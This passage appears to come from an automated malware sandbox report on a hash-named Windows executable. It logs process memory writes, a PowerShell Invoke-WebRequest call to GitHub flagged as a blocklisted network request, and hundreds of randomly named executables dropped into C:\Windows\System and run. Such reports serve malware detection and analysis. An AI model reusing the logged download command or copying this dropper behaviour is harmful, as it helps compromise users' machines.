PID 2760 wrote to memory of 3076	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	109
PID 2760 wrote to memory of 2636	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	110
PID 2760 wrote to memory of 2636	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	110
PID 2760 wrote to memory of 4992	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	111
PID 2760 wrote to memory of 4992	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	111
PID 2760 wrote to memory of 2596	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	112
PID 2760 wrote to memory of 2596	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	112
PID 2760 wrote to memory of 1576	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	113
PID 2760 wrote to memory of 1576	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	113
PID 2760 wrote to memory of 1584	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	114
PID 2760 wrote to memory of 1584	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	114
PID 2760 wrote to memory of 1884	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	115
PID 2760 wrote to memory of 1884	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	115

C:\Users\Admin\AppData\Local\Temp\cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
"C:\Users\Admin\AppData\Local\Temp\cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3008
- C:\Windows\System\SSKPhkp.exe
  C:\Windows\System\SSKPhkp.exe
  2⤵
  - Executes dropped EXE
  PID:412
- C:\Windows\System\UrVTxXU.exe
  C:\Windows\System\UrVTxXU.exe
  2⤵
  - Executes dropped EXE
  PID:1048
- C:\Windows\System\hQGvFPd.exe
  C:\Windows\System\hQGvFPd.exe
  2⤵
  - Executes dropped EXE
  PID:4624
- C:\Windows\System\PAFbPYl.exe
  C:\Windows\System\PAFbPYl.exe
  2⤵
  - Executes dropped EXE
  PID:2012
- C:\Windows\System\TudgGaT.exe
  C:\Windows\System\TudgGaT.exe
  2⤵
  - Executes dropped EXE
  PID:5084
- C:\Windows\System\oxUBeOY.exe
  C:\Windows\System\oxUBeOY.exe
  2⤵
  - Executes dropped EXE
  PID:4064
- C:\Windows\System\YvSIOiW.exe
  C:\Windows\System\YvSIOiW.exe
  2⤵
  - Executes dropped EXE
  PID:4372
- C:\Windows\System\PNurbxG.exe
  C:\Windows\System\PNurbxG.exe
  2⤵
  - Executes dropped EXE
  PID:1772
- C:\Windows\System\DYEfIni.exe
  C:\Windows\System\DYEfIni.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\miiaSXn.exe
  C:\Windows\System\miiaSXn.exe
  2⤵
  - Executes dropped EXE
  PID:852
- C:\Windows\System\lAbRVbO.exe
  C:\Windows\System\lAbRVbO.exe
  2⤵
  - Executes dropped EXE
  PID:2316
- C:\Windows\System\RLtJMLk.exe
  C:\Windows\System\RLtJMLk.exe
  2⤵
  - Executes dropped EXE
  PID:1544
- C:\Windows\System\FkMFjck.exe
  C:\Windows\System\FkMFjck.exe
  2⤵
  - Executes dropped EXE
  PID:3000
- C:\Windows\System\enmYCkr.exe
  C:\Windows\System\enmYCkr.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\NPyXZXy.exe
  C:\Windows\System\NPyXZXy.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\QYtnBWR.exe
  C:\Windows\System\QYtnBWR.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\ngiacgO.exe
  C:\Windows\System\ngiacgO.exe
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Windows\System\ixJZlLu.exe
  C:\Windows\System\ixJZlLu.exe
  2⤵
  - Executes dropped EXE
  PID:3484
- C:\Windows\System\buvgpPK.exe
  C:\Windows\System\buvgpPK.exe
  2⤵
  - Executes dropped EXE
  PID:1120
- C:\Windows\System\jAgAMYJ.exe
  C:\Windows\System\jAgAMYJ.exe
  2⤵
  - Executes dropped EXE
  PID:3688
- C:\Windows\System\QcJpfQG.exe
  C:\Windows\System\QcJpfQG.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\fnJMfAm.exe
  C:\Windows\System\fnJMfAm.exe
  2⤵
  - Executes dropped EXE
  PID:4444
- C:\Windows\System\rPNbFAG.exe
  C:\Windows\System\rPNbFAG.exe
  2⤵
  - Executes dropped EXE
  PID:1708
- C:\Windows\System\LdbJOYQ.exe
  C:\Windows\System\LdbJOYQ.exe
  2⤵
  - Executes dropped EXE
  PID:5052
- C:\Windows\System\nHoHToR.exe
  C:\Windows\System\nHoHToR.exe
  2⤵
  - Executes dropped EXE
  PID:3076
- C:\Windows\System\wwZSUrK.exe
  C:\Windows\System\wwZSUrK.exe
  2⤵
  - Executes dropped EXE
  PID:2636
- C:\Windows\System\JElbzDc.exe
  C:\Windows\System\JElbzDc.exe
  2⤵
  - Executes dropped EXE
  PID:4992
- C:\Windows\System\hFpVHVl.exe
  C:\Windows\System\hFpVHVl.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\iVbWvdi.exe
  C:\Windows\System\iVbWvdi.exe
  2⤵
  - Executes dropped EXE
  PID:1576
- C:\Windows\System\QWqdjuO.exe
  C:\Windows\System\QWqdjuO.exe
  2⤵
  - Executes dropped EXE
  PID:1584
- C:\Windows\System\BIJsWtz.exe
  C:\Windows\System\BIJsWtz.exe
  2⤵
  - Executes dropped EXE
  PID:1884
- C:\Windows\System\CWPGiGQ.exe
  C:\Windows\System\CWPGiGQ.exe
  2⤵
  - Executes dropped EXE
  PID:2028
- C:\Windows\System\ScwXhZX.exe
  C:\Windows\System\ScwXhZX.exe
  2⤵
  - Executes dropped EXE
  PID:3180
- C:\Windows\System\ezVdNZK.exe
  C:\Windows\System\ezVdNZK.exe
  2⤵
  - Executes dropped EXE
  PID:1604
- C:\Windows\System\ypXCQAE.exe
  C:\Windows\System\ypXCQAE.exe
  2⤵
  - Executes dropped EXE
  PID:4100
- C:\Windows\System\CFMqzww.exe
  C:\Windows\System\CFMqzww.exe
  2⤵
  - Executes dropped EXE
  PID:1892
- C:\Windows\System\VCjHtOm.exe
  C:\Windows\System\VCjHtOm.exe
  2⤵
  - Executes dropped EXE
  PID:4468
- C:\Windows\System\EjcUtrP.exe
  C:\Windows\System\EjcUtrP.exe
  2⤵
  - Executes dropped EXE
  PID:4816
- C:\Windows\System\CDVFTmI.exe
  C:\Windows\System\CDVFTmI.exe
  2⤵
  - Executes dropped EXE
  PID:3388
- C:\Windows\System\ArfjwEn.exe
  C:\Windows\System\ArfjwEn.exe
  2⤵
  - Executes dropped EXE
  PID:1900
- C:\Windows\System\IzEMCzM.exe
  C:\Windows\System\IzEMCzM.exe
  2⤵
  - Executes dropped EXE
  PID:3764
- C:\Windows\System\ihOkrXy.exe
  C:\Windows\System\ihOkrXy.exe
  2⤵
  - Executes dropped EXE
  PID:2084
- C:\Windows\System\eyUxosZ.exe
  C:\Windows\System\eyUxosZ.exe
  2⤵
  - Executes dropped EXE
  PID:1796
- C:\Windows\System\KVhjbcz.exe
  C:\Windows\System\KVhjbcz.exe
  2⤵
  - Executes dropped EXE
  PID:3464
- C:\Windows\System\rwfjUqX.exe
  C:\Windows\System\rwfjUqX.exe
  2⤵
  - Executes dropped EXE
  PID:3028
- C:\Windows\System\vOaYAbA.exe
  C:\Windows\System\vOaYAbA.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\qbhguwK.exe
  C:\Windows\System\qbhguwK.exe
  2⤵
  - Executes dropped EXE
  PID:392
- C:\Windows\System\isvsGbT.exe
  C:\Windows\System\isvsGbT.exe
  2⤵
  - Executes dropped EXE
  PID:5064
- C:\Windows\System\gHAKDgV.exe
  C:\Windows\System\gHAKDgV.exe
  2⤵
  - Executes dropped EXE
  PID:5028
- C:\Windows\System\zIGvTCK.exe
  C:\Windows\System\zIGvTCK.exe
  2⤵
  - Executes dropped EXE
  PID:4152
- C:\Windows\System\kHjorGM.exe
  C:\Windows\System\kHjorGM.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\cYJcsEO.exe
  C:\Windows\System\cYJcsEO.exe
  2⤵
  - Executes dropped EXE
  PID:4880
- C:\Windows\System\CGFXczc.exe
  C:\Windows\System\CGFXczc.exe
  2⤵
  - Executes dropped EXE
  PID:4368
- C:\Windows\System\bXCPAAP.exe
  C:\Windows\System\bXCPAAP.exe
  2⤵
  - Executes dropped EXE
  PID:3972
- C:\Windows\System\tyLeDZb.exe
  C:\Windows\System\tyLeDZb.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\bSmZwYz.exe
  C:\Windows\System\bSmZwYz.exe
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\System\pTWPoix.exe
  C:\Windows\System\pTWPoix.exe
  2⤵
  - Executes dropped EXE
  PID:5000
- C:\Windows\System\ctzmzKq.exe
  C:\Windows\System\ctzmzKq.exe
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Windows\System\JxodXDa.exe
  C:\Windows\System\JxodXDa.exe
  2⤵
  - Executes dropped EXE
  PID:5056
- C:\Windows\System\LrnNFwm.exe
  C:\Windows\System\LrnNFwm.exe
  2⤵
  - Executes dropped EXE
  PID:3452
- C:\Windows\System\XErsyYH.exe
  C:\Windows\System\XErsyYH.exe
  2⤵
  - Executes dropped EXE
  PID:4844
- C:\Windows\System\Nwdjqhn.exe
  C:\Windows\System\Nwdjqhn.exe
  2⤵
  - Executes dropped EXE
  PID:2428
- C:\Windows\System\PmdGyZp.exe
  C:\Windows\System\PmdGyZp.exe
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Windows\System\kVwzxKZ.exe
  C:\Windows\System\kVwzxKZ.exe
  2⤵
  - Executes dropped EXE
  PID:3100
- C:\Windows\System\xyNIEKR.exe
  C:\Windows\System\xyNIEKR.exe
  2⤵
  PID:4208
- C:\Windows\System\wMcTJyt.exe
  C:\Windows\System\wMcTJyt.exe
  2⤵
  PID:5032
- C:\Windows\System\GWYhfkE.exe
  C:\Windows\System\GWYhfkE.exe
  2⤵
  PID:4796
- C:\Windows\System\HgfnNgC.exe
  C:\Windows\System\HgfnNgC.exe
  2⤵
  PID:4872
- C:\Windows\System\dgUuNjI.exe
  C:\Windows\System\dgUuNjI.exe
  2⤵
  PID:4628
- C:\Windows\System\VyHYKXr.exe
  C:\Windows\System\VyHYKXr.exe
  2⤵
  PID:1412
- C:\Windows\System\OszrSKM.exe
  C:\Windows\System\OszrSKM.exe
  2⤵
  PID:4360
- C:\Windows\System\KLqdmwW.exe
  C:\Windows\System\KLqdmwW.exe
  2⤵
  PID:3632
- C:\Windows\System\IVEhAkH.exe
  C:\Windows\System\IVEhAkH.exe
  2⤵
  PID:4668
- C:\Windows\System\qszPpOi.exe
  C:\Windows\System\qszPpOi.exe
  2⤵
  PID:3996
- C:\Windows\System\kjkIoPY.exe
  C:\Windows\System\kjkIoPY.exe
  2⤵
  PID:3468
- C:\Windows\System\VDYmfcs.exe
  C:\Windows\System\VDYmfcs.exe
  2⤵
  PID:5124
- C:\Windows\System\AEddZOC.exe
  C:\Windows\System\AEddZOC.exe
  2⤵
  PID:5152
- C:\Windows\System\UAFzJCa.exe
  C:\Windows\System\UAFzJCa.exe
  2⤵
  PID:5180
- C:\Windows\System\faxVUfr.exe
  C:\Windows\System\faxVUfr.exe
  2⤵
  PID:5208
- C:\Windows\System\jOibXOW.exe
  C:\Windows\System\jOibXOW.exe
  2⤵
  PID:5236
- C:\Windows\System\lCYijXL.exe
  C:\Windows\System\lCYijXL.exe
  2⤵
  PID:5264
- C:\Windows\System\xqKHilk.exe
  C:\Windows\System\xqKHilk.exe
  2⤵
  PID:5292
- C:\Windows\System\encqmtw.exe
  C:\Windows\System\encqmtw.exe
  2⤵
  PID:5332
- C:\Windows\System\MMTNznB.exe
  C:\Windows\System\MMTNznB.exe
  2⤵
  PID:5360
- C:\Windows\System\UWvatzL.exe
  C:\Windows\System\UWvatzL.exe
  2⤵
  PID:5384
- C:\Windows\System\zrsKWWG.exe
  C:\Windows\System\zrsKWWG.exe
  2⤵
  PID:5404
- C:\Windows\System\yzanSXG.exe
  C:\Windows\System\yzanSXG.exe
  2⤵
  PID:5432
- C:\Windows\System\KrEZVza.exe
  C:\Windows\System\KrEZVza.exe
  2⤵
  PID:5460
- C:\Windows\System\QMdlMeg.exe
  C:\Windows\System\QMdlMeg.exe
  2⤵
  PID:5496
- C:\Windows\System\xNvJsCq.exe
  C:\Windows\System\xNvJsCq.exe
  2⤵
  PID:5528
- C:\Windows\System\dyAIffs.exe
  C:\Windows\System\dyAIffs.exe
  2⤵
  PID:5556
- C:\Windows\System\FdKNTAw.exe
  C:\Windows\System\FdKNTAw.exe
  2⤵
  PID:5576
- C:\Windows\System\hOsEKfq.exe
  C:\Windows\System\hOsEKfq.exe
  2⤵
  PID:5600
- C:\Windows\System\CDiRPKf.exe
  C:\Windows\System\CDiRPKf.exe
  2⤵
  PID:5628
- C:\Windows\System\DShOkyC.exe
  C:\Windows\System\DShOkyC.exe
  2⤵
  PID:5656
- C:\Windows\System\YzomGEZ.exe
  C:\Windows\System\YzomGEZ.exe
  2⤵
  PID:5684
- C:\Windows\System\yDpECrW.exe
  C:\Windows\System\yDpECrW.exe
  2⤵
  PID:5712
- C:\Windows\System\bYIesdk.exe
  C:\Windows\System\bYIesdk.exe
  2⤵
  PID:5744
- C:\Windows\System\IWJhJKQ.exe
  C:\Windows\System\IWJhJKQ.exe
  2⤵
  PID:5772
- C:\Windows\System\qlsBZUt.exe
  C:\Windows\System\qlsBZUt.exe
  2⤵
  PID:5804
- C:\Windows\System\iWfHQRG.exe
  C:\Windows\System\iWfHQRG.exe
  2⤵
  PID:5828
- C:\Windows\System\ZLtnWDC.exe
  C:\Windows\System\ZLtnWDC.exe
  2⤵
  PID:5856
- C:\Windows\System\HRCOeEA.exe
  C:\Windows\System\HRCOeEA.exe
  2⤵
  PID:5888
- C:\Windows\System\hJXWdMI.exe
  C:\Windows\System\hJXWdMI.exe
  2⤵
  PID:5912
- C:\Windows\System\ohcMymL.exe
  C:\Windows\System\ohcMymL.exe
  2⤵
  PID:5940
- C:\Windows\System\mllrHAD.exe
  C:\Windows\System\mllrHAD.exe
  2⤵
  PID:5968
- C:\Windows\System\AHeSLsi.exe
  C:\Windows\System\AHeSLsi.exe
  2⤵
  PID:5996
- C:\Windows\System\sDqCRcF.exe
  C:\Windows\System\sDqCRcF.exe
  2⤵
  PID:6024
- C:\Windows\System\bQWTxVy.exe
  C:\Windows\System\bQWTxVy.exe
  2⤵
  PID:6052
- C:\Windows\System\cYpFuXt.exe
  C:\Windows\System\cYpFuXt.exe
  2⤵
  PID:6080
- C:\Windows\System\hKzGmgv.exe
  C:\Windows\System\hKzGmgv.exe
  2⤵
  PID:6108
- C:\Windows\System\RYunvSS.exe
  C:\Windows\System\RYunvSS.exe
  2⤵
  PID:6136
- C:\Windows\System\eJSizwm.exe
  C:\Windows\System\eJSizwm.exe
  2⤵
  PID:3048
- C:\Windows\System\UWPhWtB.exe
  C:\Windows\System\UWPhWtB.exe
  2⤵
  PID:2912
- C:\Windows\System\YkHOauL.exe
  C:\Windows\System\YkHOauL.exe
  2⤵
  PID:1516
- C:\Windows\System\dErRQXL.exe
  C:\Windows\System\dErRQXL.exe
  2⤵
  PID:4424
- C:\Windows\System\GLdTeFg.exe
  C:\Windows\System\GLdTeFg.exe
  2⤵
  PID:2104
- C:\Windows\System\nOAJpOv.exe
  C:\Windows\System\nOAJpOv.exe
  2⤵
  PID:1400
- C:\Windows\System\mrmeHlB.exe
  C:\Windows\System\mrmeHlB.exe
  2⤵
  PID:5172
- C:\Windows\System\fVbNNgJ.exe
  C:\Windows\System\fVbNNgJ.exe
  2⤵
  PID:5228
- C:\Windows\System\FBXTYqe.exe
  C:\Windows\System\FBXTYqe.exe
  2⤵
  PID:5308
- C:\Windows\System\konobIO.exe
  C:\Windows\System\konobIO.exe
  2⤵
  PID:5376
- C:\Windows\System\YslEYvk.exe
  C:\Windows\System\YslEYvk.exe
  2⤵
  PID:5444
- C:\Windows\System\lldkUiC.exe
  C:\Windows\System\lldkUiC.exe
  2⤵
  PID:5516
- C:\Windows\System\bpkSWjM.exe
  C:\Windows\System\bpkSWjM.exe
  2⤵
  PID:5572
- C:\Windows\System\hOefZji.exe
  C:\Windows\System\hOefZji.exe
  2⤵
  PID:5644
- C:\Windows\System\tzczdvD.exe
  C:\Windows\System\tzczdvD.exe
  2⤵
  PID:5704
- C:\Windows\System\pxfqCAh.exe
  C:\Windows\System\pxfqCAh.exe
  2⤵
  PID:5788
- C:\Windows\System\EklVmZw.exe
  C:\Windows\System\EklVmZw.exe
  2⤵
  PID:5868
- C:\Windows\System\moYhabr.exe
  C:\Windows\System\moYhabr.exe
  2⤵
  PID:5928
- C:\Windows\System\CDKtiHY.exe
  C:\Windows\System\CDKtiHY.exe
  2⤵
  PID:5988
- C:\Windows\System\jixOgQo.exe
  C:\Windows\System\jixOgQo.exe
  2⤵
  PID:6068
- C:\Windows\System\JHGEclD.exe
  C:\Windows\System\JHGEclD.exe
  2⤵
  PID:6124
- C:\Windows\System\ThvTcQe.exe
  C:\Windows\System\ThvTcQe.exe
  2⤵
  PID:3904
- C:\Windows\System\JHZOBeO.exe
  C:\Windows\System\JHZOBeO.exe
  2⤵
  PID:4656
- C:\Windows\System\MVGkxdw.exe
  C:\Windows\System\MVGkxdw.exe
  2⤵
  PID:3812
- C:\Windows\System\yMJunwg.exe
  C:\Windows\System\yMJunwg.exe
  2⤵
  PID:5224
- C:\Windows\System\xfElJeK.exe
  C:\Windows\System\xfElJeK.exe
  2⤵
  PID:5400
- C:\Windows\System\uvwHneP.exe
  C:\Windows\System\uvwHneP.exe
  2⤵
  PID:5548
- C:\Windows\System\xemuRWw.exe
  C:\Windows\System\xemuRWw.exe
  2⤵
  PID:5680
- C:\Windows\System\mPEeTLb.exe
  C:\Windows\System\mPEeTLb.exe
  2⤵
  PID:5844
- C:\Windows\System\jXpKXBt.exe
  C:\Windows\System\jXpKXBt.exe
  2⤵
  PID:6168
- C:\Windows\System\PMOTtUU.exe
  C:\Windows\System\PMOTtUU.exe
  2⤵
  PID:6196
- C:\Windows\System\VvLIsRV.exe
  C:\Windows\System\VvLIsRV.exe
  2⤵
  PID:6224
- C:\Windows\System\jvJhtSb.exe
  C:\Windows\System\jvJhtSb.exe
  2⤵
  PID:6252
- C:\Windows\System\vouqvqQ.exe
  C:\Windows\System\vouqvqQ.exe
  2⤵
  PID:6280
- C:\Windows\System\nLJRbCQ.exe
  C:\Windows\System\nLJRbCQ.exe
  2⤵
  PID:6304
- C:\Windows\System\SzcZVei.exe
  C:\Windows\System\SzcZVei.exe
  2⤵
  PID:6336
- C:\Windows\System\IZpNLkC.exe
  C:\Windows\System\IZpNLkC.exe
  2⤵
  PID:6368
- C:\Windows\System\cMpXAEq.exe
  C:\Windows\System\cMpXAEq.exe
  2⤵
  PID:6392
- C:\Windows\System\RueRFNO.exe
  C:\Windows\System\RueRFNO.exe
  2⤵
  PID:6416
- C:\Windows\System\rqxBoIt.exe
  C:\Windows\System\rqxBoIt.exe
  2⤵
  PID:6448
- C:\Windows\System\WDcyfdn.exe
  C:\Windows\System\WDcyfdn.exe
  2⤵
  PID:6476
- C:\Windows\System\QSqyNHJ.exe
  C:\Windows\System\QSqyNHJ.exe
  2⤵
  PID:6504
- C:\Windows\System\fjKCcWW.exe
  C:\Windows\System\fjKCcWW.exe
  2⤵
  PID:6528
- C:\Windows\System\hTxdtsF.exe
  C:\Windows\System\hTxdtsF.exe
  2⤵
  PID:6556
- C:\Windows\System\SuNiMDY.exe
  C:\Windows\System\SuNiMDY.exe
  2⤵
  PID:6588
- C:\Windows\System\hZMjhGs.exe
  C:\Windows\System\hZMjhGs.exe
  2⤵
  PID:6616
- C:\Windows\System\SKOClwY.exe
  C:\Windows\System\SKOClwY.exe
  2⤵
  PID:6640
- C:\Windows\System\Uthkjhs.exe
  C:\Windows\System\Uthkjhs.exe
  2⤵
  PID:6672
- C:\Windows\System\FgUrVKW.exe
  C:\Windows\System\FgUrVKW.exe
  2⤵
  PID:6700
- C:\Windows\System\rZnIbXr.exe
  C:\Windows\System\rZnIbXr.exe
  2⤵
  PID:6728
- C:\Windows\System\BsWCWrt.exe
  C:\Windows\System\BsWCWrt.exe
  2⤵
  PID:6756
- C:\Windows\System\baWwmEu.exe
  C:\Windows\System\baWwmEu.exe
  2⤵
  PID:6784
- C:\Windows\System\OnTEHbz.exe
  C:\Windows\System\OnTEHbz.exe
  2⤵
  PID:6812
- C:\Windows\System\PRpBdoZ.exe
  C:\Windows\System\PRpBdoZ.exe
  2⤵
  PID:6840
- C:\Windows\System\ldZqwfT.exe
  C:\Windows\System\ldZqwfT.exe
  2⤵
  PID:6868
- C:\Windows\System\IPzWvCT.exe
  C:\Windows\System\IPzWvCT.exe
  2⤵
  PID:6896
- C:\Windows\System\otSLIYZ.exe
  C:\Windows\System\otSLIYZ.exe
  2⤵
  PID:6932
- C:\Windows\System\gLPEDMy.exe
  C:\Windows\System\gLPEDMy.exe
  2⤵
  PID:6960
- C:\Windows\System\htpYuNc.exe
  C:\Windows\System\htpYuNc.exe
  2⤵
  PID:6980
- C:\Windows\System\XyAbHXj.exe
  C:\Windows\System\XyAbHXj.exe
  2⤵
  PID:7008
- C:\Windows\System\ifSJizU.exe
  C:\Windows\System\ifSJizU.exe
  2⤵
  PID:7036
- C:\Windows\System\dcqhPbW.exe
  C:\Windows\System\dcqhPbW.exe
  2⤵
  PID:7060
- C:\Windows\System\NCbPJtk.exe
  C:\Windows\System\NCbPJtk.exe
  2⤵
  PID:7092
- C:\Windows\System\WMhflvQ.exe
  C:\Windows\System\WMhflvQ.exe
  2⤵
  PID:7120
- C:\Windows\System\tgBAeby.exe
  C:\Windows\System\tgBAeby.exe
  2⤵
  PID:7148
- C:\Windows\System\HobwBju.exe
  C:\Windows\System\HobwBju.exe
  2⤵
  PID:5956
- C:\Windows\System\bZkGuMk.exe
  C:\Windows\System\bZkGuMk.exe
  2⤵
  PID:6100
- C:\Windows\System\DeHsmmX.exe
  C:\Windows\System\DeHsmmX.exe
  2⤵
  PID:1668
- C:\Windows\System\FApUxiK.exe
  C:\Windows\System\FApUxiK.exe
  2⤵
  PID:5344
- C:\Windows\System\wuLOgYD.exe
  C:\Windows\System\wuLOgYD.exe
  2⤵
  PID:5756
- C:\Windows\System\MzOOChD.exe
  C:\Windows\System\MzOOChD.exe
  2⤵
  PID:6180
- C:\Windows\System\yAHGTaF.exe
  C:\Windows\System\yAHGTaF.exe
  2⤵
  PID:6240
- C:\Windows\System\pVTSnXS.exe
  C:\Windows\System\pVTSnXS.exe
  2⤵
  PID:6296
- C:\Windows\System\PHHbMsz.exe
  C:\Windows\System\PHHbMsz.exe
  2⤵
  PID:6364
- C:\Windows\System\mXNNMBZ.exe
  C:\Windows\System\mXNNMBZ.exe
  2⤵
  PID:3804
- C:\Windows\System\EMVteYS.exe
  C:\Windows\System\EMVteYS.exe
  2⤵
  PID:6488
- C:\Windows\System\GhkJzAr.exe
  C:\Windows\System\GhkJzAr.exe
  2⤵
  PID:6552
- C:\Windows\System\ydRTnBB.exe
  C:\Windows\System\ydRTnBB.exe
  2⤵
  PID:6636
- C:\Windows\System\czAbMRY.exe
  C:\Windows\System\czAbMRY.exe
  2⤵
  PID:6712
- C:\Windows\System\RgKODwX.exe
  C:\Windows\System\RgKODwX.exe
  2⤵
  PID:6776
- C:\Windows\System\MxjwTTv.exe
  C:\Windows\System\MxjwTTv.exe
  2⤵
  PID:6832
- C:\Windows\System\TpTTrCb.exe
  C:\Windows\System\TpTTrCb.exe
  2⤵
  PID:6908
- C:\Windows\System\MlbiuxO.exe
  C:\Windows\System\MlbiuxO.exe
  2⤵
  PID:6952
- C:\Windows\System\kTOkvAV.exe
  C:\Windows\System\kTOkvAV.exe
  2⤵
  PID:7020
- C:\Windows\System\oKDbsyj.exe
  C:\Windows\System\oKDbsyj.exe
  2⤵
  PID:7076
- C:\Windows\System\pnRAlBM.exe
  C:\Windows\System\pnRAlBM.exe
  2⤵
  PID:7140
- C:\Windows\System\JQgnGmY.exe
  C:\Windows\System\JQgnGmY.exe
  2⤵
  PID:6040
- C:\Windows\System\xrilFQQ.exe
  C:\Windows\System\xrilFQQ.exe
  2⤵
  PID:5492
- C:\Windows\System\UdYqohM.exe
  C:\Windows\System\UdYqohM.exe
  2⤵
  PID:6216
- C:\Windows\System\TfcYVVD.exe
  C:\Windows\System\TfcYVVD.exe
  2⤵
  PID:6404
- C:\Windows\System\CeIELaw.exe
  C:\Windows\System\CeIELaw.exe
  2⤵
  PID:6544
- C:\Windows\System\qPYdyko.exe
  C:\Windows\System\qPYdyko.exe
  2⤵
  PID:6632
- C:\Windows\System\CTcpzGJ.exe
  C:\Windows\System\CTcpzGJ.exe
  2⤵
  PID:6824
- C:\Windows\System\OsPczXg.exe
  C:\Windows\System\OsPczXg.exe
  2⤵
  PID:6948
- C:\Windows\System\rsFYxIN.exe
  C:\Windows\System\rsFYxIN.exe
  2⤵
  PID:7184
- C:\Windows\System\OVDCfNp.exe
  C:\Windows\System\OVDCfNp.exe
  2⤵
  PID:7208
- C:\Windows\System\byzfhGb.exe
  C:\Windows\System\byzfhGb.exe
  2⤵
  PID:7236
- C:\Windows\System\UGKRoNC.exe
  C:\Windows\System\UGKRoNC.exe
  2⤵
  PID:7264
- C:\Windows\System\rQFdVFR.exe
  C:\Windows\System\rQFdVFR.exe
  2⤵
  PID:7288
- C:\Windows\System\MYXANli.exe
  C:\Windows\System\MYXANli.exe
  2⤵
  PID:7320
- C:\Windows\System\pImdeXv.exe
  C:\Windows\System\pImdeXv.exe
  2⤵
  PID:7348
- C:\Windows\System\lwXYNCV.exe
  C:\Windows\System\lwXYNCV.exe
  2⤵
  PID:7376
- C:\Windows\System\taTCjHB.exe
  C:\Windows\System\taTCjHB.exe
  2⤵
  PID:7404
- C:\Windows\System\HtiLFja.exe
  C:\Windows\System\HtiLFja.exe
  2⤵
  PID:7432
- C:\Windows\System\NfgiZAV.exe
  C:\Windows\System\NfgiZAV.exe
  2⤵
  PID:7460
- C:\Windows\System\PTwDSeJ.exe
  C:\Windows\System\PTwDSeJ.exe
  2⤵
  PID:7488
- C:\Windows\System\whctxjF.exe
  C:\Windows\System\whctxjF.exe
  2⤵
  PID:7516
- C:\Windows\System\qjVjrMz.exe
  C:\Windows\System\qjVjrMz.exe
  2⤵
  PID:7540
- C:\Windows\System\SrNukqE.exe
  C:\Windows\System\SrNukqE.exe
  2⤵
  PID:7568
- C:\Windows\System\RSXsuvs.exe
  C:\Windows\System\RSXsuvs.exe
  2⤵
  PID:7600
- C:\Windows\System\VZxSZZd.exe
  C:\Windows\System\VZxSZZd.exe
  2⤵
  PID:7624
- C:\Windows\System\kTNvVAZ.exe
  C:\Windows\System\kTNvVAZ.exe
  2⤵
  PID:7652
- C:\Windows\System\WHBmXAh.exe
  C:\Windows\System\WHBmXAh.exe
  2⤵
  PID:7684
- C:\Windows\System\NWeHDbE.exe
  C:\Windows\System\NWeHDbE.exe
  2⤵
  PID:7708
- C:\Windows\System\BSvDcZs.exe
  C:\Windows\System\BSvDcZs.exe
  2⤵
  PID:7736
- C:\Windows\System\UplCOwX.exe
  C:\Windows\System\UplCOwX.exe
  2⤵
  PID:7768
- C:\Windows\System\gMjWAPq.exe
  C:\Windows\System\gMjWAPq.exe
  2⤵
  PID:7796
- C:\Windows\System\RxxWHCj.exe
  C:\Windows\System\RxxWHCj.exe
  2⤵
  PID:7824
- C:\Windows\System\LTKJplr.exe
  C:\Windows\System\LTKJplr.exe
  2⤵
  PID:7852
- C:\Windows\System\eJTbVLP.exe
  C:\Windows\System\eJTbVLP.exe
  2⤵
  PID:7876
- C:\Windows\System\YEaRsXo.exe
  C:\Windows\System\YEaRsXo.exe
  2⤵
  PID:7908
- C:\Windows\System\pwRpPZa.exe
  C:\Windows\System\pwRpPZa.exe
  2⤵
  PID:7940
- C:\Windows\System\hKufvBf.exe
  C:\Windows\System\hKufvBf.exe
  2⤵
  PID:7964
- C:\Windows\System\aITweUU.exe
  C:\Windows\System\aITweUU.exe
  2⤵
  PID:7992
- C:\Windows\System\obJwbLz.exe
  C:\Windows\System\obJwbLz.exe
  2⤵
  PID:8020
- C:\Windows\System\fSdtfYe.exe
  C:\Windows\System\fSdtfYe.exe
  2⤵
  PID:8048
- C:\Windows\System\mKIUaOI.exe
